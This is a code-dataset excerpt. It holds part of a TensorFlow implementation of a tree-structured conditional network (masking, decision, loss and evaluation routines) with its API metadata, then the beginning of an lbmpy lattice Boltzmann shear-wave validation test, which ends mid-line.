is_open_indicators = \\\n self.get_main_and_regularization_grads(sess=sess, samples=samples, labels=labels,\n indices=indices_list,\n one_hot_labels=one_hot_labels, iteration=iteration)\n update_dict = {}\n assign_dict = {}\n self.learningRateCalculator.update(iteration=iteration + 1.0)\n lr = self.learningRateCalculator.value\n for v, curr_value in zip(vars, vars_current_values):\n is_residue_var = \"_residue_\" in v.name\n if not is_residue_var and epoch >= GlobalConstants.EPOCH_COUNT:\n continue\n total_grad = np.zeros(shape=v.shape)\n # is_decision_pipeline_variable = \"hyperplane\" in v.name or \"_decision_\" in v.name\n if v in main_grads:\n total_grad += main_grads[v]\n if v in res_grads:\n total_grad += res_grads[v]\n if v in reg_grads:\n total_grad += reg_grads[v]\n if GlobalConstants.USE_INFO_GAIN_DECISION and v in decision_grads:\n total_grad += decision_grads[v]\n self.momentumStatesDict[v.name][:] *= GlobalConstants.MOMENTUM_DECAY\n self.momentumStatesDict[v.name][:] += -lr * total_grad\n new_value = curr_value + self.momentumStatesDict[v.name]\n if (\"scale\" in v.name or \"shift\" in v.name) and iteration % 10 == 0:\n # print(\"Magnitude of {0}= Changed from {1} to {2}\".format(v.name, np.linalg.norm(curr_value),\n # np.linalg.norm(new_value)))\n print(\"{0}={1}\".format(v.name, new_value))\n op_name = self.get_assign_op_name(variable=v)\n update_dict[self.newValuesDict[op_name]] = new_value\n assign_dict[op_name] = self.assignOpsDict[op_name]\n sess.run(assign_dict, feed_dict=update_dict)\n return sample_counts, decision_sample_counts, lr, is_open_indicators\n\n # if v in res_grads:\n # total_grad += res_grads[v]\n\n @staticmethod\n def get_variable_name(name, node):\n return \"Node{0}_{1}\".format(node.index, name)\n\n def get_node_from_variable_name(self, name):\n node_index_str = name[4:name.find(\"_\")]\n node_index = int(node_index_str)\n return self.nodes[node_index]\n\n def get_assign_op_name(self, variable):\n return \"Assign_{0}\".format(variable.name[0:len(variable.name) - 2])\n\n def mask_input_nodes(self, node):\n if node.isRoot:\n node.labelTensor = self.labelTensor\n node.indicesTensor = self.indicesTensor\n node.oneHotLabelTensor = self.oneHotLabelTensor\n node.evalDict[self.get_variable_name(name=\"sample_count\", node=node)] = tf.size(node.labelTensor)\n node.isOpenIndicatorTensor = tf.constant(value=1.0, dtype=tf.float32)\n node.evalDict[self.get_variable_name(name=\"is_open\", node=node)] = node.isOpenIndicatorTensor\n else:\n # Obtain the mask vector, sample counts and determine if this node receives samples.\n parent_node = self.dagObject.parents(node=node)[0]\n mask_tensor = parent_node.maskTensors[node.index]\n mask_tensor = tf.where(self.useMasking > 0, mask_tensor,\n tf.logical_or(x=tf.constant(value=True, dtype=tf.bool), y=mask_tensor))\n sample_count_tensor = tf.reduce_sum(tf.cast(mask_tensor, tf.float32))\n node.evalDict[self.get_variable_name(name=\"sample_count\", node=node)] = sample_count_tensor\n node.isOpenIndicatorTensor = tf.where(sample_count_tensor > 0.0, 1.0, 0.0)\n node.evalDict[self.get_variable_name(name=\"is_open\", node=node)] = node.isOpenIndicatorTensor\n # TO PREVENT TENSORFLOW FROM CRASHING WHEN THERE ARE NO SAMPLES:\n # If the mask from the parent is completely false, convert it to true; artifically. Note this\n # is only for crash prevention. \"node.isOpenIndicatorTensor\" will be 0 anyways, so no parameter update will\n # be made for that node. Moreover, when applying decision, we will look control \"node.isOpenIndicatorTensor\"\n # and set the produced mask vectors to competely false, to propagate the emptyness.\n if GlobalConstants.USE_EMPTY_NODE_CRASH_PREVENTION:\n mask_tensor = tf.where(node.isOpenIndicatorTensor > 0.0, x=mask_tensor,\n y=tf.logical_or(x=tf.constant(value=True, dtype=tf.bool), y=mask_tensor))\n # Mask all inputs: F channel, H channel, activations from ancestors, labels\n parent_F = tf.boolean_mask(parent_node.fOpsList[-1], mask_tensor)\n parent_H = tf.boolean_mask(parent_node.hOpsList[-1], mask_tensor)\n for k, v in parent_node.activationsDict.items():\n node.activationsDict[k] = tf.boolean_mask(v, mask_tensor)\n node.labelTensor = tf.boolean_mask(parent_node.labelTensor, mask_tensor)\n node.indicesTensor = tf.boolean_mask(parent_node.indicesTensor, mask_tensor)\n node.oneHotLabelTensor = tf.boolean_mask(parent_node.oneHotLabelTensor, mask_tensor)\n return parent_F, parent_H\n\n def apply_batch_norm_prior_to_decision(self, feature, node):\n normed_data, assign_ops = batch_norm.batch_norm(x=feature, iteration=self.iterationHolder,\n is_decision_phase=self.isDecisionPhase,\n is_training_phase=self.isTrain,\n decay=GlobalConstants.BATCH_NORM_DECAY,\n node=node, network=self)\n self.branchingBatchNormAssignOps.extend(assign_ops)\n return normed_data\n\n def add_learnable_gaussian_noise(self, node, feature):\n sample_count = tf.shape(feature)[0]\n feature_dim = feature.get_shape().as_list()[-1]\n gaussian = tf.contrib.distributions.MultivariateNormalDiag(loc=np.zeros(shape=(feature_dim,)),\n scale_diag=np.ones(shape=(feature_dim,)))\n noise_shift = tf.Variable(\n tf.constant(0.0, shape=(feature_dim,), dtype=GlobalConstants.DATA_TYPE),\n name=self.get_variable_name(name=\"noise_shift\", node=node))\n noise_scale = tf.Variable(\n tf.constant(1.0, shape=(feature_dim,), dtype=GlobalConstants.DATA_TYPE),\n name=self.get_variable_name(name=\"noise_scale\", node=node))\n noise_scale_sqrt = tf.square(noise_scale)\n node.variablesSet.add(noise_shift)\n node.variablesSet.add(noise_scale)\n noise = tf.cast(gaussian.sample(sample_shape=sample_count), tf.float32)\n z_noise = noise_scale_sqrt * noise + noise_shift\n # final_feature = tf.where(self.isDecisionPhase > 0, feature, feature + z_noise)\n final_feature = feature + (self.noiseCoefficient * z_noise)\n return final_feature\n\n def apply_decision(self, node, branching_feature, hyperplane_weights, hyperplane_biases):\n # Apply necessary transformations before decision phase\n if GlobalConstants.USE_BATCH_NORM_BEFORE_BRANCHING:\n branching_feature = self.apply_batch_norm_prior_to_decision(feature=branching_feature, node=node)\n if GlobalConstants.USE_REPARAMETRIZATION_TRICK:\n self.evalDict[self.get_variable_name(name=\"branching_feature\", node=node)] = branching_feature\n noisy_feature = self.add_learnable_gaussian_noise(node=node, feature=branching_feature)\n self.evalDict[self.get_variable_name(name=\"noisy_branching_feature\", node=node)] = noisy_feature\n branching_feature = tf.where(self.isTrain > 0, noisy_feature, branching_feature)\n self.evalDict[self.get_variable_name(name=\"final_branching_feature\", node=node)] = branching_feature\n # branching_feature = noisy_feature\n # if GlobalConstants.USE_DROPOUT_FOR_DECISION:\n # branching_feature = tf.nn.dropout(branching_feature, self.decisionDropoutKeepProb)\n activations = tf.matmul(branching_feature, hyperplane_weights) + hyperplane_biases\n node.activationsDict[node.index] = activations\n decayed_activation = node.activationsDict[node.index] / node.softmaxDecay\n p_n_given_x = tf.nn.softmax(decayed_activation)\n p_c_given_x = node.oneHotLabelTensor\n info_gain_balance_coeff = node.infoGainBalanceCoefficient\n node.infoGainLoss = InfoGainLoss.get_loss(p_n_given_x_2d=p_n_given_x, p_c_given_x_2d=p_c_given_x,\n balance_coefficient=self.informationGainBalancingCoefficient)\n node.evalDict[self.get_variable_name(name=\"branching_feature\", node=node)] = branching_feature\n node.evalDict[self.get_variable_name(name=\"activations\", node=node)] = activations\n node.evalDict[self.get_variable_name(name=\"decayed_activation\", node=node)] = decayed_activation\n node.evalDict[self.get_variable_name(name=\"softmax_decay\", node=node)] = node.softmaxDecay\n node.evalDict[self.get_variable_name(name=\"info_gain\", node=node)] = node.infoGainLoss\n node.evalDict[self.get_variable_name(name=\"p(n|x)\", node=node)] = p_n_given_x\n arg_max_indices = tf.argmax(p_n_given_x, axis=1)\n child_nodes = self.dagObject.children(node=node)\n child_nodes = sorted(child_nodes, key=lambda c_node: c_node.index)\n for index in range(len(child_nodes)):\n child_node = child_nodes[index]\n child_index = child_node.index\n branch_prob = p_n_given_x[:, index]\n mask_with_threshold = tf.reshape(tf.greater_equal(x=branch_prob, y=node.probabilityThreshold,\n name=\"Mask_with_threshold_{0}\".format(child_index)), [-1])\n mask_without_threshold = tf.reshape(tf.equal(x=arg_max_indices, y=tf.constant(index, tf.int64),\n name=\"Mask_without_threshold_{0}\".format(child_index)), [-1])\n mask_tensor = tf.where(self.useThresholding > 0, x=mask_with_threshold, y=mask_without_threshold)\n if GlobalConstants.USE_EMPTY_NODE_CRASH_PREVENTION:\n # Zero-out the mask if this node is not open;\n # since we only use the mask vector to avoid Tensorflow crash in this case.\n node.maskTensors[child_index] = tf.where(node.isOpenIndicatorTensor > 0.0, x=mask_tensor,\n y=tf.logical_and(\n x=tf.constant(value=False, dtype=tf.bool), y=mask_tensor))\n else:\n node.maskTensors[child_index] = mask_tensor\n node.evalDict[self.get_variable_name(name=\"mask_tensors\", node=node)] = node.maskTensors\n\n def apply_loss(self, node, final_feature, softmax_weights, softmax_biases):\n final_feature_final = final_feature\n if GlobalConstants.USE_DROPOUT_FOR_CLASSIFICATION:\n final_feature_final = tf.nn.dropout(final_feature, self.classificationDropoutKeepProb)\n if GlobalConstants.USE_DECISION_AUGMENTATION:\n concat_list = [final_feature_final]\n concat_list.extend(node.activationsDict.values())\n final_feature_final = tf.concat(values=concat_list, axis=1)\n node.residueOutputTensor = final_feature_final\n node.finalFeatures = final_feature_final\n node.evalDict[self.get_variable_name(name=\"final_feature_final\", node=node)] = final_feature_final\n node.evalDict[self.get_variable_name(name=\"final_feature_mag\", node=node)] = tf.nn.l2_loss(final_feature_final)\n logits = tf.matmul(final_feature_final, softmax_weights) + softmax_biases\n cross_entropy_loss_tensor = tf.nn.sparse_softmax_cross_entropy_with_logits(labels=node.labelTensor,\n logits=logits)\n parallel_dnn_updates = {GradientType.parallel_dnns_unbiased, GradientType.parallel_dnns_biased}\n mixture_of_expert_updates = {GradientType.mixture_of_experts_biased, GradientType.mixture_of_experts_unbiased}\n if GlobalConstants.GRADIENT_TYPE in parallel_dnn_updates:\n pre_loss = tf.reduce_mean(cross_entropy_loss_tensor)\n loss = tf.where(tf.is_nan(pre_loss), 0.0, pre_loss)\n elif GlobalConstants.GRADIENT_TYPE in mixture_of_expert_updates:\n pre_loss = tf.reduce_sum(cross_entropy_loss_tensor)\n loss = (1.0 / float(GlobalConstants.BATCH_SIZE)) * pre_loss\n else:\n raise NotImplementedError()\n node.fOpsList.extend([cross_entropy_loss_tensor, pre_loss, loss])\n node.lossList.append(loss)\n return final_feature_final, logits\n\n def eval_network(self, sess, dataset, use_masking):\n # if is_train:\n minibatch = dataset.get_next_batch()\n samples = minibatch.samples\n labels = minibatch.labels\n indices_list = minibatch.indices\n one_hot_labels = minibatch.one_hot_labels\n samples = np.expand_dims(samples, axis=3)\n feed_dict = {\n GlobalConstants.TRAIN_DATA_TENSOR: samples,\n GlobalConstants.TRAIN_LABEL_TENSOR: labels,\n GlobalConstants.TRAIN_INDEX_TENSOR: indices_list,\n GlobalConstants.TRAIN_ONE_HOT_LABELS: one_hot_labels,\n self.weightDecayCoeff: GlobalConstants.WEIGHT_DECAY_COEFFICIENT,\n self.decisionWeightDecayCoeff: GlobalConstants.DECISION_WEIGHT_DECAY_COEFFICIENT,\n self.useThresholding: 0,\n self.isDecisionPhase: 0,\n self.isTrain: 0,\n self.useMasking: int(use_masking),\n self.classificationDropoutKeepProb: 1.0,\n self.informationGainBalancingCoefficient: GlobalConstants.INFO_GAIN_BALANCE_COEFFICIENT,\n self.noiseCoefficient: 0.0,\n self.iterationHolder: 1000000}\n # Add probability thresholds into the feed dict: They are disabled for decision phase, but still needed for\n # the network to operate.\n if not self.isBaseline:\n self.get_probability_thresholds(feed_dict=feed_dict, iteration=1000000, update=False)\n self.get_softmax_decays(feed_dict=feed_dict, iteration=1000000, update=False)\n self.get_decision_dropout_prob(feed_dict=feed_dict, iteration=1000000, update=False)\n self.get_decision_weight(feed_dict=feed_dict, iteration=1000000, update=False)\n # if self.modeTracker.isCompressed:\n # self.get_label_mappings(feed_dict=feed_dict)\n # self.get_probability_hyperparams(feed_dict=feed_dict, iteration=1000000, update_thresholds=False)\n results = sess.run(self.evalDict, feed_dict)\n for k, v in results.items():\n if \"final_feature_mag\" in k:\n print(\"{0}={1}\".format(k, v))\n return results\n\n def get_transformed_data(self, sess, dataset, dataset_type):\n dataset.set_current_data_set_type(dataset_type=dataset_type)\n leaf_true_labels_dict = {}\n leaf_final_features_dict = {}\n # network.get_variable_name(name=\"final_eval_feature\", node=node)\n while True:\n results = self.eval_network(sess=sess, dataset=dataset, use_masking=True)\n for node in self.topologicalSortedNodes:\n if not node.isLeaf:\n continue\n final_features = results[self.get_variable_name(name=\"final_eval_feature\", node=node)]\n true_labels = results[self.get_variable_name(name=\"labels\", node=node)]\n UtilityFuncs.concat_to_np_array_dict(dct=leaf_final_features_dict, key=node.index, array=final_features)\n UtilityFuncs.concat_to_np_array_dict(dct=leaf_true_labels_dict, key=node.index, array=true_labels)\n if dataset.isNewEpoch:\n break\n # Concatenate all data\n transformed_samples = None\n labels = None\n for k, v in leaf_final_features_dict.items():\n if transformed_samples is None:\n transformed_samples = np.array(v)\n else:\n transformed_samples = np.concatenate((transformed_samples, v))\n if labels is None:\n labels = np.array(leaf_true_labels_dict[k])\n else:\n labels = np.concatenate((labels, leaf_true_labels_dict[k]))\n return transformed_samples, labels\n\n def prepare_residue_input_tensors(self):\n # Get all residue features and labels from leaf nodes\n residue_features = []\n labels = []\n indices = []\n for node in self.topologicalSortedNodes:\n if not node.isLeaf:\n continue\n residue_features.append(node.residueOutputTensor)\n labels.append(node.labelTensor)\n indices.append(node.indicesTensor)\n # Concatenate residue features and labels into a batch\n all_residue_features = tf.concat(values=residue_features, axis=0)\n all_labels = tf.concat(values=labels, axis=0)\n all_indices = tf.concat(values=indices, axis=0)\n return all_residue_features, all_labels, all_indices\n", "repo_name": "ufukcbicici/phd_work", "sub_path": "simple_tf/cign/tree.py", "file_name": "tree.py", "file_ext": "py", "file_size_in_byte": 51072, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "auxillary.dag_utilities.Dag", "line_number": 21, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 31, "usage_type": "call"}, {"api_name": "simple_tf.global_params.GlobalConstants.DATA_TYPE", "line_number": 31, "usage_type": "attribute"}, {"api_name": "simple_tf.global_params.GlobalConstants", "line_number": 31, "usage_type": "name"}, {"api_name": "tensorflow.placeholder", "line_number": 36, "usage_type": "call"}, {"api_name": "tensorflow.int64", "line_number": 36, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 37, "usage_type": "call"}, {"api_name": "simple_tf.global_params.GlobalConstants.DATA_TYPE", "line_number": 37, "usage_type": "attribute"}, {"api_name": "simple_tf.global_params.GlobalConstants", "line_number": 37, "usage_type": "name"}, {"api_name": "tensorflow.placeholder", "line_number": 39, "usage_type": "call"}, {"api_name": "tensorflow.int64", "line_number": 39, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 40, "usage_type": "call"}, {"api_name": "tensorflow.bool", "line_number": 40, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 41, "usage_type": "call"}, {"api_name": "tensorflow.int64", "line_number": 41, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 42, "usage_type": "call"}, {"api_name": "tensorflow.int64", "line_number": 42, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 60, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 60, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 61, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 61, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 65, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 65, "usage_type": "attribute"}, {"api_name": "simple_tf.global_params.GlobalConstants.LEARNING_RATE_CALCULATOR", "line_number": 84, "usage_type": "attribute"}, {"api_name": "simple_tf.global_params.GlobalConstants", "line_number": 84, "usage_type": "name"}, {"api_name": "algorithms.mode_tracker.ModeTracker", "line_number": 90, "usage_type": "call"}, {"api_name": "algorithms.accuracy_calculator.AccuracyCalculator", "line_number": 91, "usage_type": "call"}, {"api_name": "algorithms.variable_manager.VariableManager", "line_number": 92, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 101, "usage_type": "call"}, {"api_name": "simple_tf.global_params.GlobalConstants.DATA_TYPE", "line_number": 101, "usage_type": "attribute"}, {"api_name": "simple_tf.global_params.GlobalConstants", "line_number": 101, "usage_type": "name"}, {"api_name": "tensorflow.Variable", "line_number": 102, "usage_type": "call"}, {"api_name": "algorithms.softmax_compresser.SoftmaxCompresser", "line_number": 120, "usage_type": "call"}, {"api_name": "simple_tf.node.Node", "line_number": 126, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 128, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 128, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 130, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 130, "usage_type": "attribute"}, {"api_name": "collections.deque", "line_number": 133, "usage_type": "call"}, {"api_name": "simple_tf.node.Node", "line_number": 144, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 147, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 147, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 149, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 149, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 154, "usage_type": "call"}, {"api_name": "tensorflow.int64", "line_number": 154, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 155, "usage_type": "call"}, {"api_name": "tensorflow.int64", "line_number": 155, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 156, "usage_type": "call"}, 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"call"}, {"api_name": "tensorflow.nn.l2_loss", "line_number": 793, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 793, "usage_type": "attribute"}, {"api_name": "tensorflow.matmul", "line_number": 794, "usage_type": "call"}, {"api_name": "tensorflow.nn.sparse_softmax_cross_entropy_with_logits", "line_number": 795, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 795, "usage_type": "attribute"}, {"api_name": "simple_tf.global_params.GradientType.parallel_dnns_unbiased", "line_number": 797, "usage_type": "attribute"}, {"api_name": "simple_tf.global_params.GradientType", "line_number": 797, "usage_type": "name"}, {"api_name": "simple_tf.global_params.GradientType.parallel_dnns_biased", "line_number": 797, "usage_type": "attribute"}, {"api_name": "simple_tf.global_params.GradientType.mixture_of_experts_biased", "line_number": 798, "usage_type": "attribute"}, {"api_name": "simple_tf.global_params.GradientType", "line_number": 798, "usage_type": "name"}, {"api_name": "simple_tf.global_params.GradientType.mixture_of_experts_unbiased", "line_number": 798, "usage_type": "attribute"}, {"api_name": "simple_tf.global_params.GlobalConstants.GRADIENT_TYPE", "line_number": 799, "usage_type": "attribute"}, {"api_name": "simple_tf.global_params.GlobalConstants", "line_number": 799, "usage_type": "name"}, {"api_name": "tensorflow.reduce_mean", "line_number": 800, "usage_type": "call"}, {"api_name": "tensorflow.where", "line_number": 801, "usage_type": "call"}, {"api_name": "tensorflow.is_nan", "line_number": 801, "usage_type": "call"}, {"api_name": "simple_tf.global_params.GlobalConstants.GRADIENT_TYPE", "line_number": 802, "usage_type": "attribute"}, {"api_name": "simple_tf.global_params.GlobalConstants", "line_number": 802, "usage_type": "name"}, {"api_name": "tensorflow.reduce_sum", "line_number": 803, "usage_type": "call"}, {"api_name": "simple_tf.global_params.GlobalConstants.BATCH_SIZE", "line_number": 804, "usage_type": "attribute"}, {"api_name": "simple_tf.global_params.GlobalConstants", "line_number": 804, "usage_type": "name"}, {"api_name": "numpy.expand_dims", "line_number": 818, "usage_type": "call"}, {"api_name": "simple_tf.global_params.GlobalConstants.TRAIN_DATA_TENSOR", "line_number": 820, "usage_type": "attribute"}, {"api_name": "simple_tf.global_params.GlobalConstants", "line_number": 820, "usage_type": "name"}, {"api_name": "simple_tf.global_params.GlobalConstants.TRAIN_LABEL_TENSOR", "line_number": 821, "usage_type": "attribute"}, {"api_name": "simple_tf.global_params.GlobalConstants", "line_number": 821, "usage_type": "name"}, {"api_name": "simple_tf.global_params.GlobalConstants.TRAIN_INDEX_TENSOR", "line_number": 822, "usage_type": "attribute"}, {"api_name": "simple_tf.global_params.GlobalConstants", "line_number": 822, "usage_type": "name"}, {"api_name": "simple_tf.global_params.GlobalConstants.TRAIN_ONE_HOT_LABELS", "line_number": 823, "usage_type": "attribute"}, {"api_name": "simple_tf.global_params.GlobalConstants", "line_number": 823, "usage_type": "name"}, {"api_name": "simple_tf.global_params.GlobalConstants.WEIGHT_DECAY_COEFFICIENT", "line_number": 824, "usage_type": "attribute"}, {"api_name": "simple_tf.global_params.GlobalConstants", "line_number": 824, "usage_type": "name"}, {"api_name": "simple_tf.global_params.GlobalConstants.DECISION_WEIGHT_DECAY_COEFFICIENT", "line_number": 825, "usage_type": "attribute"}, {"api_name": "simple_tf.global_params.GlobalConstants", "line_number": 825, "usage_type": "name"}, {"api_name": "simple_tf.global_params.GlobalConstants.INFO_GAIN_BALANCE_COEFFICIENT", "line_number": 831, "usage_type": "attribute"}, {"api_name": "simple_tf.global_params.GlobalConstants", "line_number": 831, "usage_type": "name"}, {"api_name": "auxillary.general_utility_funcs.UtilityFuncs.concat_to_np_array_dict", "line_number": 862, "usage_type": "call"}, {"api_name": "auxillary.general_utility_funcs.UtilityFuncs", "line_number": 862, "usage_type": "name"}, {"api_name": "auxillary.general_utility_funcs.UtilityFuncs.concat_to_np_array_dict", "line_number": 863, "usage_type": "call"}, {"api_name": "auxillary.general_utility_funcs.UtilityFuncs", "line_number": 863, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 871, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 873, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 875, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 877, "usage_type": "call"}, {"api_name": "tensorflow.concat", "line_number": 892, "usage_type": "call"}, {"api_name": "tensorflow.concat", "line_number": 893, "usage_type": "call"}, {"api_name": "tensorflow.concat", "line_number": 894, "usage_type": "call"}]} +{"seq_id": "9376344365", "text": "\"\"\"Shear wave scenario from\n The cumulant lattice Boltzmann equation in three dimensions: Theory and validation\n by Geier, Martin; Schönherr, Martin; Pasquali, Andrea; Krafczyk, Manfred (2015)\n\n :cite:`geier2015` Chapter 5.1\n\n NOTE: for integration tests, the parameter study is greatly shortened, i.e., the runs are shortened in time and\n not all resolutions and viscosities are considered. Nevertheless, all values used by Geier et al. are still in\n the setup, only commented, and remain ready to be used (check for comments that start with `NOTE`).\n\"\"\"\nimport numpy as np\nimport pytest\nimport sympy as sp\n\nfrom lbmpy import LatticeBoltzmannStep, LBStencil\nfrom lbmpy.creationfunctions import LBMConfig, LBMOptimisation\nfrom lbmpy.db import LbmpyJsonSerializer\nfrom lbmpy.enums import Method, Stencil\nfrom lbmpy.relaxationrates import (\n relaxation_rate_from_lattice_viscosity, relaxation_rate_from_magic_number)\nfrom pystencils import Target, create_data_handling, CreateKernelConfig\n\n\ndef get_exponent_term(l, **kwargs):\n pi = np.pi\n return (2 * pi / l) ** 2 + (4 * pi / (3 * l)) ** 2\n\n\ndef get_initial_velocity_field(l, l_0, u_0, v_0, y_size, **kwargs):\n pi = np.pi\n domain_size = (l, y_size, 3 * l // 2)\n vel = np.zeros(domain_size + (3,))\n ranges = [np.arange(n, dtype=float) for n in vel.shape[:-1]]\n x, y, z = np.meshgrid(*ranges, indexing='ij')\n\n vel[..., 0] = u_0 * l_0 / l\n vel[..., 1] = v_0 * l_0 / l * np.sin(2 * pi * x / l) * np.cos(4 * pi * z / (3 * l))\n vel[..., 2] = 0\n\n return vel\n\n\ndef get_analytical_solution(l, l_0, u_0, v_0, nu, t):\n pi = np.pi\n domain_size = (l, 3, 3 * l // 2)\n vel = np.zeros(domain_size + (3,))\n ranges = [np.arange(n, dtype=float) for n in vel.shape[:-1]]\n x, y, z = np.meshgrid(*ranges, indexing='ij')\n\n exponent_term = (2 * pi / l) ** 2 + (4 * pi / (3 * l)) ** 2\n vel[..., 0] = u_0 * l_0 / l\n vel[..., 1] = v_0 * l_0 / l * np.sin(2 * pi * (x + u_0 * t) / l) * \\\n np.cos(4 * pi * z / (3 * l)) * np.exp(-nu * t * exponent_term)\n vel[..., 2] = 0\n\n return vel\n\n\ndef plot_y_velocity(vel, **kwargs):\n import matplotlib.pyplot as plt\n vel = vel[:, vel.shape[1] // 2, :, 1]\n ranges = [np.arange(n, dtype=float) for n in vel.shape]\n x, y = np.meshgrid(*ranges, indexing='ij')\n fig = plt.gcf()\n ax = fig.gca(projection='3d')\n\n ax.plot_surface(x, y, vel, cmap='coolwarm', rstride=2, cstride=2,\n linewidth=0, antialiased=True, **kwargs)\n\n\ndef fit_and_get_slope(x_values, y_values):\n matrix = np.vstack([x_values, np.ones(len(x_values))]).T\n m, _ = np.linalg.lstsq(matrix, y_values, rcond=1e-14)[0]\n return m\n\n\ndef get_phase_error(phases, evaluation_interval):\n x_values = np.arange(len(phases) * evaluation_interval, step=evaluation_interval)\n phase_error = fit_and_get_slope(x_values, phases)\n return phase_error\n\n\ndef get_viscosity(abs_values, evaluation_interval, l):\n y_values = [np.log(v) for v in abs_values]\n x_values = np.arange(0, evaluation_interval * len(y_values), evaluation_interval)\n m = fit_and_get_slope(x_values, y_values)\n exp_term = get_exponent_term(l)\n return - m / exp_term\n\n\ndef get_amplitude_and_phase(vel_slice):\n fft = np.fft.rfft2(vel_slice)\n fft_abs = np.abs(fft)\n fft_phase = np.angle(fft)\n max_index = np.unravel_index(fft_abs.argmax(), fft_abs.shape)\n return fft_abs[max_index], fft_phase[max_index]\n\n\ndef run(l, l_0, u_0, v_0, nu, y_size, lbm_config, lbm_optimisation, config):\n inv_result = {\n 'viscosity_error': np.nan,\n 'phase_error': np.nan,\n 'mlups': np.nan,\n }\n if lbm_config.initial_velocity:\n # no manually specified initial velocity allowed in shear wave setup\n lbm_config.initial_velocity = None\n\n print(f\"Running size l={l} nu={nu}\")\n initial_vel_arr = get_initial_velocity_field(l, l_0, u_0, v_0, y_size)\n omega = relaxation_rate_from_lattice_viscosity(nu)\n\n if lbm_config.fourth_order_correction and omega < 1.75:\n pytest.skip(\"Fourth-order correction only allowed for omega >= 1.75.\")\n\n lbm_config.relaxation_rates = [sp.sympify(r) for r in lbm_config.relaxation_rates]\n lbm_config.relaxation_rates = [r.subs(sp.Symbol(\"omega\"), omega) for r in lbm_config.relaxation_rates]\n\n periodicity_in_kernel = (lbm_optimisation.builtin_periodicity != (False, False, False))\n domain_size = initial_vel_arr.shape[:-1]\n\n data_handling = create_data_handling(domain_size, periodicity=not periodicity_in_kernel,\n default_ghost_layers=1, parallel=False)\n\n scenario = LatticeBoltzmannStep(data_handling=data_handling, name=\"periodic_scenario\", lbm_config=lbm_config,\n lbm_optimisation=lbm_optimisation, config=config)\n for b in scenario.data_handling.iterate(ghost_layers=False):\n np.copyto(b[scenario.velocity_data_name], initial_vel_arr[b.global_slice])\n scenario.set_pdf_fields_from_macroscopic_values()\n\n # NOTE: use those values to limit the runtime in integration tests\n total_time_steps = 2000 * (l // l_0) ** 2\n initial_time_steps = 1100 * (l // l_0) ** 2\n eval_interval = 100 * (l // l_0) ** 2\n # NOTE: for simulating the real shear-wave scenario from Geier et al. use the following values\n # total_time_steps = 20000 * (l // l_0) ** 2\n # initial_time_steps = 11000 * (l // l_0) ** 2\n # eval_interval = 1000 * (l // l_0) ** 2\n\n scenario.run(initial_time_steps)\n if np.isnan(scenario.velocity_slice()).any():\n print(\" Result\", inv_result)\n return inv_result\n\n magnitudes = []\n phases = []\n mlups = []\n while scenario.time_steps_run < total_time_steps:\n mlup_current_run = scenario.benchmark_run(eval_interval)\n if np.isnan(scenario.velocity_slice()).any():\n return inv_result\n magnitude, phase = get_amplitude_and_phase(scenario.velocity[:, y_size // 2, :, 1])\n magnitudes.append(magnitude)\n phases.append(abs(phase))\n mlups.append(mlup_current_run)\n\n assert scenario.time_steps_run == total_time_steps\n estimated_viscosity = get_viscosity(magnitudes, eval_interval, l)\n viscosity_error = abs(estimated_viscosity - nu) / nu # called ER_\\nu in the paper\n\n result = {\n 'viscosity_error': viscosity_error,\n 'phaseError': get_phase_error(phases, eval_interval),\n 'mlups': max(mlups),\n }\n print(\" Result\", result)\n return result\n\n\ndef create_full_parameter_study():\n from pystencils.runhelper import ParameterStudy\n\n setup_params = {\n 'l_0': 32,\n 'u_0': 0.096,\n 'v_0': 0.1,\n 'y_size': 1\n }\n\n omega, omega_f = sp.symbols(\"omega, omega_f\")\n\n # NOTE: use those values to limit the runtime in integration tests\n ls = [32]\n nus = [1e-5]\n # NOTE: for simulating the real shear-wave scenario from Geier et al. use the following values\n # ls = [32 * 2 ** i for i in range(0, 5)]\n # nus = [1e-2, 1e-3, 1e-4, 1e-5]\n\n srt_and_trt_methods = [LBMConfig(method=method,\n stencil=LBStencil(stencil),\n compressible=comp,\n relaxation_rates=[omega, str(relaxation_rate_from_magic_number(omega))],\n equilibrium_order=eqOrder,\n continuous_equilibrium=mbEq)\n for method in (Method.SRT, Method.TRT)\n for stencil in (Stencil.D3Q19, Stencil.D3Q27)\n for comp in (True, False)\n for eqOrder in (1, 2, 3)\n for mbEq in (True, False)]\n\n optimization_srt_trt = LBMOptimisation(split=True, cse_pdfs=True)\n\n config = CreateKernelConfig(target=Target.CPU)\n\n methods = [LBMConfig(method=Method.TRT, relaxation_rates=[omega, 1]),\n LBMConfig(method=Method.MRT, relaxation_rates=[omega], equilibrium_order=2),\n LBMConfig(method=Method.MRT, 